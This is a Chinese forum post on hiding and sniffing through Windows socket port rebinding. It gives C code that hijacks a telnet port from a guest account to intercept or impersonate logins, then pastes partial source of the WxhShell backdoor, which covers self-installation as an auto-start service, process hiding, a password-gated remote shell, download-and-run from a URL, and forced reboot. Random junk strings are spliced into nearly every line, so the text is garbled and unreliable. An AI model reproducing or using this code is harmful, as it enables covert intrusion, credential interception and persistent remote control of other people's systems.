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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vVjk9_Ul  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '<6DLtZl  
L3s"L.G  
  saddr.sin_family = AF_INET; d9l2mJzW  
bu=RU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vu:] [2"0  
Sb}=j;F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,y}~rYsP%  
Z ?F_({im  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,Z8)DC=  
\]3[Xw-$  
  这意味着什么?意味着可以进行如下的攻击:  LYyud  
&fE2zTz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u $D%Iz  
[7,q@>:CS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _auFt"n  
h" f_T [  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7s Gf_`Z  
P]2V~I/X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &#!1 Y[e^  
\4O_@d`A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C>QWV[F  
'k[vcnSz\/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v]}\Ns/  
YhP+{Y8t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  _ Ewkb  
s|k&@jH)  
  #include TK0W=&6#A  
  #include n(sseQ|\  
  #include \Qf2:[-V0  
  #include    1I40N[PE)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bYr*rEcA  
  int main() F'T.-lEO_d  
  { Q!r` G  
  WORD wVersionRequested; gSe3S-Lt  
  DWORD ret; v^Rw9*w{  
  WSADATA wsaData; Ml'lZ)  
  BOOL val; \p^'[B(O77  
  SOCKADDR_IN saddr; T9Fe!yVA  
  SOCKADDR_IN scaddr; -wh  
  int err; 3u< ntx ><  
  SOCKET s; 2q*wYuc  
  SOCKET sc; bHQ) :W  
  int caddsize; bGxHzzU}  
  HANDLE mt; D&qJ@PR  
  DWORD tid;   lAkg47i  
  wVersionRequested = MAKEWORD( 2, 2 ); \mWH8Z }Z  
  err = WSAStartup( wVersionRequested, &wsaData ); Y8N+v+V/  
  if ( err != 0 ) { FuG;$';H75  
  printf("error!WSAStartup failed!\n"); m>*~ tP  
  return -1; }i^$ li@  
  } m|v$F,Lv  
  saddr.sin_family = AF_INET; 8Y:x+v5  
   }T}xVd0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5=8t<v1Bn  
!lBK!'0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7}`FXB  
  saddr.sin_port = htons(23); Ar<!F/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ex66GJQe1  
  { xqQK-?k  
  printf("error!socket failed!\n"); $)d34JM  
  return -1; Mh {>#Gs  
  } R@U4Ae{+  
  val = TRUE; AJ)&+H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .hnq>R\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p6ryUJc6  
  { 45OAJ?N  
  printf("error!setsockopt failed!\n"); ?# RhHD  
  return -1; DWN9_*{  
  } 1-E utq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v:n[H]K|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +,TrJg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RE1M4UV.  
)JJF}m=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vin3 i&k  
  { #)3 B  
  ret=GetLastError(); "2p\/VfA  
  printf("error!bind failed!\n"); ~wO-Hgd  
  return -1; p|@#IoA/e  
  } '*Ld,`  
  listen(s,2); }$ Kd-cj+  
  while(1) kI2+&  
  { ae](=OQ  
  caddsize = sizeof(scaddr); /Z[HU{4  
  //接受连接请求 /rky  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :zNNtv iA  
  if(sc!=INVALID_SOCKET) 9'@G7*Yn  
  { cIcu=U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ul}<@d9: B  
  if(mt==NULL) 6;wKL?snO  
  { S#<y_w%  
  printf("Thread Creat Failed!\n"); 2'-84  
  break; |sEuhP\A3  
  } Ijk hV  
  } cDK)zD  
  CloseHandle(mt); Vhr6bu]  
  } 6YV"H  
  closesocket(s); N(2M  w:}  
  WSACleanup(); %F^,6y  
  return 0;  +cKOIMu9  
  }   #on ,;QN  
  DWORD WINAPI ClientThread(LPVOID lpParam) kt=& mq/B  
  { .Lu3LVS  
  SOCKET ss = (SOCKET)lpParam; *z.rOY= 8  
  SOCKET sc; EY:H\4)  
  unsigned char buf[4096]; p}5413z5Z=  
  SOCKADDR_IN saddr; oB~V~c}8x  
  long num; @;N(3| n7  
  DWORD val; lxr;AJ(  
  DWORD ret; j(k}NWPH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `r-3"or/$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $cU7)vmK`  
  saddr.sin_family = AF_INET; B2|0.G|[j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Zo }^"u  
  saddr.sin_port = htons(23); IAmZ_2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e m0 hTxb  
  { !~vx|_$#  
  printf("error!socket failed!\n"); pMAP/..+2  
  return -1; /Z,hQ>/  
  } *aFY+.;U`  
  val = 100; f^ZhFu?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pM}~/  
  { Bf6i{`!G  
  ret = GetLastError(); E+LQyvF[  
  return -1; Tu5p`p3-j  
  } ael] {'h]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZKq#PB/.  
  { oZ^,*  
  ret = GetLastError(); /+8VW;4|I  
  return -1; s`0IyQXVU  
  } HFlExa u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  sFnR;  
  { *N }$~N  
  printf("error!socket connect failed!\n"); Nh}u]<B  
  closesocket(sc); V!>j: "  
  closesocket(ss); |lZp5MOc  
  return -1; ~sPXkLqK  
  } 1[$zdv{A  
  while(1) 1iNMgA  
  { =p"ma83  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d>F.C>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  ST0TWE'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @65xn)CD{  
  num = recv(ss,buf,4096,0); #S x  
  if(num>0) ^!0z+M:>^  
  send(sc,buf,num,0);  m l@% H  
  else if(num==0) V|[NL4  
  break; +|7N89l  
  num = recv(sc,buf,4096,0); f-ceDn  
  if(num>0) xSNGf@1b  
  send(ss,buf,num,0); c!'\k,ma<9  
  else if(num==0) &I(\:|`o  
  break; qxsHhyB_n;  
  } SM2N3"\  
  closesocket(ss); r4DHALu#)  
  closesocket(sc); qvK/}  
  return 0 ; !n P4S)A  
  } Q\T?t  
^8J`*R8CL  
6EO@ Xf7,  
========================================================== IkjJqz  
6x=w-32+ y  
下边附上一个代码,,WXhSHELL zSU,le  
}6<5mq)%  
========================================================== [u37 Hy_Gi  
6-0sBB9=u  
#include "stdafx.h" )9[u*|+  
)tnbl"0  
#include <stdio.h> eU,F YJt9  
#include <string.h> K"&^/[vMB  
#include <windows.h>  OK8Ho"  
#include <winsock2.h> cofdDHXfQI  
#include <winsvc.h> NO@`*:.^Y  
#include <urlmon.h> }f14# y;  
xkax  
#pragma comment (lib, "Ws2_32.lib") G6}&k[d5%  
#pragma comment (lib, "urlmon.lib") DwZRx@  
URg;e M#  
#define MAX_USER   100 // 最大客户端连接数 wfpl]d!  
#define BUF_SOCK   200 // sock buffer 'GX x|.  
#define KEY_BUFF   255 // 输入 buffer zy nX9t  
`j9\]50Z>  
#define REBOOT     0   // 重启 Xt$P!~Lu  
#define SHUTDOWN   1   // 关机 rpDBKo  
8iOHav4  
#define DEF_PORT   5000 // 监听端口 u' Q82l&Y  
s2wDJ|  
#define REG_LEN     16   // 注册表键长度 F:q8.^HTJ  
#define SVC_LEN     80   // NT服务名长度 bt_c$TN  
:]]x^wony~  
// 从dll定义API ;1 {=t!z=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #;W4$ q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (GC5r#AnS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V$O6m|q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 80'@+AD  
+,AzxP _y  
// wxhshell配置信息 xkiiQs)  
struct WSCFG { D7JrGaF{  
  int ws_port;         // 监听端口 $u'"C|>8  
  char ws_passstr[REG_LEN]; // 口令 ;UM(y@  
  int ws_autoins;       // 安装标记, 1=yes 0=no oz)4YBf  
  char ws_regname[REG_LEN]; // 注册表键名 cs.t#C  
  char ws_svcname[REG_LEN]; // 服务名 xW*Lceb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g,!.`[e'ex  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H.E=m0 np  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OFyy!r@?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *PV"&cx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7aKI=;60.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4%w<Ekd  
bv'>4a  
}; law$LL  
kp*!  
// default Wxhshell configuration JGTsVa2  
struct WSCFG wscfg={DEF_PORT, SA&(%f1d  
    "xuhuanlingzhe", naH(lz|v  
    1, DuR9L'  
    "Wxhshell", $fT5Vc]B4  
    "Wxhshell", f\_PNZCc  
            "WxhShell Service", qlYi:uygY  
    "Wrsky Windows CmdShell Service", O6)Po  
    "Please Input Your Password: ", .m l\z5  
  1, KsE$^`  
  "http://www.wrsky.com/wxhshell.exe", ?kQY ^pU  
  "Wxhshell.exe" v @0G^z|  
    }; gh\u@#$8  
o:W*#dt  
// 消息定义模块 Qg~w 3~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s(5hFuyg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y6H?ZOq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D"$Y, d  
char *msg_ws_ext="\n\rExit."; &*ocr&  
char *msg_ws_end="\n\rQuit."; _cWuRvY  
char *msg_ws_boot="\n\rReboot..."; -Yh(bS l  
char *msg_ws_poff="\n\rShutdown..."; f_[dFKoX  
char *msg_ws_down="\n\rSave to "; u/6if9B  
9N)I\lcY  
char *msg_ws_err="\n\rErr!"; Qkx*T9W   
char *msg_ws_ok="\n\rOK!"; yq k8)\p  
F0z7".)  
char ExeFile[MAX_PATH]; .'_}:~  
int nUser = 0; S`zu.8%5  
HANDLE handles[MAX_USER]; 8a)Brl}u  
int OsIsNt; B= ~y(Mb  
$w{d4")  
SERVICE_STATUS       serviceStatus; 'uDx$AkY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ui (nMEon  
Fj~suZ`  
// 函数声明 %aMC[i  
int Install(void); G$V=\60a-  
int Uninstall(void); `x#S. b  
int DownloadFile(char *sURL, SOCKET wsh); .24z+|j  
int Boot(int flag); av|T|J/(  
void HideProc(void); hk:>*B}  
int GetOsVer(void); sL~4 ~178  
int Wxhshell(SOCKET wsl); !E?+1WDS0  
void TalkWithClient(void *cs); E>tHKNyVTp  
int CmdShell(SOCKET sock); JfSe; v  
int StartFromService(void); ox&? `DO  
int StartWxhshell(LPSTR lpCmdLine); eS@j? Y0y  
8P- ay<6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `vAcCahM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rDbtT*vN  
JG'%HJ"D  
// 数据结构和表定义 i]? Eq?k  
SERVICE_TABLE_ENTRY DispatchTable[] = 5;" $X 1{  
{ E~fb#6  
{wscfg.ws_svcname, NTServiceMain}, gggD "alDx  
{NULL, NULL} 2XeyNX  
}; sBa:|(Y.  
d wG!]j>:_  
// 自我安装 YSt*uOZK  
int Install(void) r|4D.O]  
{ vVvF e~y]  
  char svExeFile[MAX_PATH]; 5G\OINxy  
  HKEY key; MJ?t{=  
  strcpy(svExeFile,ExeFile); vbeE}7 *2  
jIe /X]  
// 如果是win9x系统,修改注册表设为自启动 ~ E6e~  
if(!OsIsNt) { y.D+M$f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gs3(B/";c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z=U+FHdh/-  
  RegCloseKey(key); hIV]ZYbH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6JZ>&HA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E9j<+Ik  
  RegCloseKey(key); 2DFsMT>X  
  return 0; 'vVWUK956  
    } :2S?|7U4  
  } L+%kibnY'  
} Os$E,4,py  
else { upaP,ik}~  
V.*M;T\i  
// 如果是NT以上系统,安装为系统服务 *1kFy_Gx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iY07lvG<  
if (schSCManager!=0) Qw2-Vv4!"  
{ jGz~}&B  
  SC_HANDLE schService = CreateService l9Ol|Cb&  
  ( n8;p]{  
  schSCManager,  EG`AkWy  
  wscfg.ws_svcname, cb]X27uww  
  wscfg.ws_svcdisp, YFJaf"?8g  
  SERVICE_ALL_ACCESS, 57{T p:|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8b]4uI <  
  SERVICE_AUTO_START, =-:%~n g  
  SERVICE_ERROR_NORMAL, u3O@ccJ;  
  svExeFile,  mih}?oi  
  NULL, f|w;u!U(  
  NULL, AP,ZMpw  
  NULL, E!1\9wzM{  
  NULL, }M%3  
  NULL 0>SA90Q  
  ); [>a3` 0M  
  if (schService!=0) dFw+nGN  
  { F}45.C rD  
  CloseServiceHandle(schService); Bc }o3oc  
  CloseServiceHandle(schSCManager); [T =>QS@g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NN'pBU R  
  strcat(svExeFile,wscfg.ws_svcname); |\uj(|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <dP \vLH_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i;C` .+  
  RegCloseKey(key); ef '?O  
  return 0; =l/Dc=[  
    } &gr 8;O:0  
  } "A+7G5  
  CloseServiceHandle(schSCManager); 'a+^= c  
} {Dl@/fz  
} z;oia!9z  
TxF^zx\  
return 1; "i#g [x  
} 4y3c=L No  
v"yu7tZ3N  
// 自我卸载 B2]52Fg-"  
int Uninstall(void) V{oFig 6  
{ VNT?  
  HKEY key; uoE+:,P  
)r{Wj*u  
if(!OsIsNt) { B7'#8heDh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $%bd`d*S  
  RegDeleteValue(key,wscfg.ws_regname); PjBAf'  
  RegCloseKey(key); DVhBZ!u 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q&>fKSnKs  
  RegDeleteValue(key,wscfg.ws_regname); V~KWy@7  
  RegCloseKey(key); f?/OV*  
  return 0; >qNpY(Ql  
  } XV%R Mr6  
} 59 g//;35@  
} H ;=^ W  
else { 80lhhqRC  
";7N$hWE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P=,\wM6T|  
if (schSCManager!=0) %!A:Ka!m.  
{ t27UlFX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2c[HA  
  if (schService!=0) :tO4LEb  
  { zuN(~>YH  
  if(DeleteService(schService)!=0) { J i@q7qkC  
  CloseServiceHandle(schService); ?:`sE"  
  CloseServiceHandle(schSCManager); ps2j]g  
  return 0; bR"4:b>K  
  } :]F66dh+  
  CloseServiceHandle(schService); WcSvw  
  } Nm&'&L%Ch  
  CloseServiceHandle(schSCManager); *cWHl@4  
} B/a`5&G]  
} Xykoq"dbb  
^"|q~2  
return 1; Ey: ?!  
} "Y:>^F;  
&Wa3/mWK  
// 从指定url下载文件 ; k.@=  
int DownloadFile(char *sURL, SOCKET wsh) ui)mYR[8X  
{ Ix_w.f=8  
  HRESULT hr; k%~;mu"4}  
char seps[]= "/"; Bq)dqLwk  
char *token; 4Us,DS_/  
char *file; In?+  
char myURL[MAX_PATH]; v=G*K11@  
char myFILE[MAX_PATH]; wX2U   
"!P h  
strcpy(myURL,sURL); Ewkx4,`Ff  
  token=strtok(myURL,seps); "AjC2P],  
  while(token!=NULL) rWJ5C\R  
  { o?/H<k\5  
    file=token; {jYVA~.|Z  
  token=strtok(NULL,seps); P^F3,'N  
  } \e4AxLP  
}U'9 d#N  
GetCurrentDirectory(MAX_PATH,myFILE); 9a=:e=q3#  
strcat(myFILE, "\\"); 7WSP0Xyz  
strcat(myFILE, file); C=oeRc'r1W  
  send(wsh,myFILE,strlen(myFILE),0); ;\A_-a_(#  
send(wsh,"...",3,0); 8%;Wyqdf]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 30WOH 'n  
  if(hr==S_OK) 9teP4H}m  
return 0; 0/] h"5H3  
else D`G;C  
return 1; \8ZVI98  
u*%mUh  
} hx@@[sKF7  
6e\?%,H  
// 系统电源模块 1qAE)8ie  
int Boot(int flag) <ivG(a*=]  
{ LyvR].p=5*  
  HANDLE hToken; Xe&9| M  
  TOKEN_PRIVILEGES tkp;  yI|x 5f  
F;`c0ja]  
  if(OsIsNt) { RTd,bi*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]SAY\;,_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qm/>\4eLt  
    tkp.PrivilegeCount = 1; {Lv"wec*x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :F6dXW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dr"$@  
if(flag==REBOOT) { )P9]/y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s% R,]q  
  return 0; M1/(Xla3  
} 'C7R* P  
else { aO}hE 2]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <L8FI78[*  
  return 0; "@VYJ7.1  
} cX1?4e8  
  } .'66]QW  
  else { I__b$  
if(flag==REBOOT) { TT(R<hL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PJm@fK(j  
  return 0; a,4GE'  
} 3 []ltN_  
else { Yg5o!A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o` QH8  
  return 0;  I*f@^(  
} >3b< Fq$  
} z"|jCdZGM  
~kV>nx2  
return 1; /0k'w%V{n  
} }sqFvab<  
/,~]1&?}1  
// win9x进程隐藏模块 ,f)+|?wz  
void HideProc(void) X6B,Mply  
{ Qh8pOUD0l}  
p3-~cr.LD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MaPhG<?  
  if ( hKernel != NULL ) @6~m&$R/  
  { HhCFAq"j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KY< $+/B!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $$p +~X  
    FreeLibrary(hKernel); jdVj FCl^#  
  } 1Z_w2D*  
;{wzw8!  
return; t5b c Q@Y  
} ZR=i*y  
@mu{*. &  
// 获取操作系统版本 z"  z$.c  
int GetOsVer(void) =ePwGm1:c  
{ z7?SuJ  
  OSVERSIONINFO winfo; yMkR)HY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 80%"2kG  
  GetVersionEx(&winfo); x{!+ 4W;S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v h)CB8  
  return 1; $_'<kH-eP  
  else ncUhCp?'  
  return 0; so.}WU  
} lUq `t K8  
Y cL((6A  
// 客户端句柄模块 Z;+;_Cw  
int Wxhshell(SOCKET wsl) LdiNXyyzet  
{ O+'k4  
  SOCKET wsh; @Jd eOL;  
  struct sockaddr_in client; 3:$@DZT$  
  DWORD myID; %kkDitmI{  
]YZ_kc^(V;  
  while(nUser<MAX_USER) F&7Z(  
{ %sZ3Gpi  
  int nSize=sizeof(client); 8N j}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _(=g[=Mer  
  if(wsh==INVALID_SOCKET) return 1; H9BqE+  
]o'dr r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PQF 40g1}  
if(handles[nUser]==0) qD"~5vtLqQ  
  closesocket(wsh); )Mflt0fp  
else NODg_J~T  
  nUser++; 4\V/A+<W  
  } Oi C|~8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N1y,~Z  
I WT|dA >  
  return 0; lxD~l#)^ln  
} P9`CW  
c?c"|.-<p  
// 关闭 socket x)%"i)  
void CloseIt(SOCKET wsh) *<{hLf  
{ &Nr+- $  
closesocket(wsh); 1p/_U?H:|  
nUser--; d"3x11|  
ExitThread(0); {=!BzNMj  
} ^^uY)AL  
6 P(jc  
// 客户端请求句柄 ) .V,zmI  
void TalkWithClient(void *cs) X?r$o>db  
{ 3S>rc0]6  
qgWsf-di=  
  SOCKET wsh=(SOCKET)cs; if1)AE-  
  char pwd[SVC_LEN]; .hf%L1N%F  
  char cmd[KEY_BUFF]; 06pY10<>X  
char chr[1]; :zfMRg  
int i,j; RcR-sbR  
D&N3LH  
  while (nUser < MAX_USER) { vgNrHq&2q  
h^WMv *2  
if(wscfg.ws_passstr) { C^]UK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PK{FQ3b2{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )P+<=8@a  
  //ZeroMemory(pwd,KEY_BUFF); #MMp0  
      i=0; R5},E  
  while(i<SVC_LEN) { O#8lJ%?  
X,8Zn06M  
  // 设置超时 _-v$fDrz  
  fd_set FdRead;  SBi4i;qD  
  struct timeval TimeOut; (o\D=!a  
  FD_ZERO(&FdRead); 1]8Hpd  
  FD_SET(wsh,&FdRead); b'/:e#F  
  TimeOut.tv_sec=8; JAwEu79sh  
  TimeOut.tv_usec=0; Mac:E__G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `09[25?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eXLdb-  
xo-}t5w6t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "6%qi qt  
  pwd=chr[0]; =zp{ ^mC  
  if(chr[0]==0xd || chr[0]==0xa) { `J{{E,y @  
  pwd=0; h,fahbH -  
  break; :Xx7':5  
  } -=u9>S)!c  
  i++; o/RGzPR  
    } ^#w9!I{4.  
JV2[jo}0 N  
  // 如果是非法用户,关闭 socket PI *Z>VE?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >k}Kf1I  
} }g2l ni  
G" (ck4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *li5/=UC5*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0*uJS`se6Z  
^zG!Z:E  
while(1) { IMy!8$\u  
"zIQ(|TL?d  
  ZeroMemory(cmd,KEY_BUFF); )4YtdAV  
6UPGE",u  
      // 自动支持客户端 telnet标准   6 iH]N*]S^  
  j=0; etb#/L  
  while(j<KEY_BUFF) { ]h=y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :`@W`V?6-  
  cmd[j]=chr[0]; W3MH8z   
  if(chr[0]==0xa || chr[0]==0xd) { V<n#%!M5gV  
  cmd[j]=0; JJ_KfnH  
  break; gp{Z]{io  
  } m&_!*3BAG  
  j++; ]7|qhAh<L  
    } X5Y. o&  
b%j4W)Z  
  // 下载文件 uy=<n5`oNG  
  if(strstr(cmd,"http://")) { #D+.z)iZn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?/Aql_?3  
  if(DownloadFile(cmd,wsh)) 4`"Q!T_'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :|ytw= 3>  
  else l2LO,j}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7'{Y7]+z+  
  } H Mfhe[A?  
  else { ^g+M=jq _  
ef:Zi_o   
    switch(cmd[0]) { !-B|x0fs  
  }OgZZ8-_M  
  // 帮助 ab_EH}j1\q  
  case '?': { <ou=f'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j6rwlwN  
    break; {\k:?w4  
  } MG,?,1_ &  
  // 安装 Wb{8WPS  
  case 'i': { W%#LHluP  
    if(Install()) M;0\fUh;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ':T"nORC  
    else C9`x"$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s:sk`~2<gd  
    break; ).r04)/  
    } g$Ns u:L  
  // 卸载 ;q2e[y  
  case 'r': { n{%[G2.A  
    if(Uninstall()) d]l(B+\vf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8qq'q"g  
    else GYri\<[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xC$CRzAe5p  
    break; HD}3mP  
    } *C^`+*}OE$  
  // 显示 wxhshell 所在路径 k/%n7 ;1  
  case 'p': { f87lm*wZ  
    char svExeFile[MAX_PATH]; YYd!/@|N5  
    strcpy(svExeFile,"\n\r"); Rd+ `b  
      strcat(svExeFile,ExeFile); >!P !F(  
        send(wsh,svExeFile,strlen(svExeFile),0); "Ze<dB#,Y  
    break; 7t/C:2^&  
    } onUF@3V  
  // 重启 0^ $6U  
  case 'b': { F:2V;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }?%5Ae7l,  
    if(Boot(REBOOT)) n{.SNipU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }{)>aJ  
    else { 0hju@&Aa  
    closesocket(wsh); %R*-oQ1T  
    ExitThread(0); yLCJSN$7  
    } 9jt+PII  
    break; =MMSmu5!  
    } 9iOTT%pq  
  // 关机 j1P#({z[  
  case 'd': { 7cT ~u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _O>8jH!#  
    if(Boot(SHUTDOWN)) z_ia3k<  
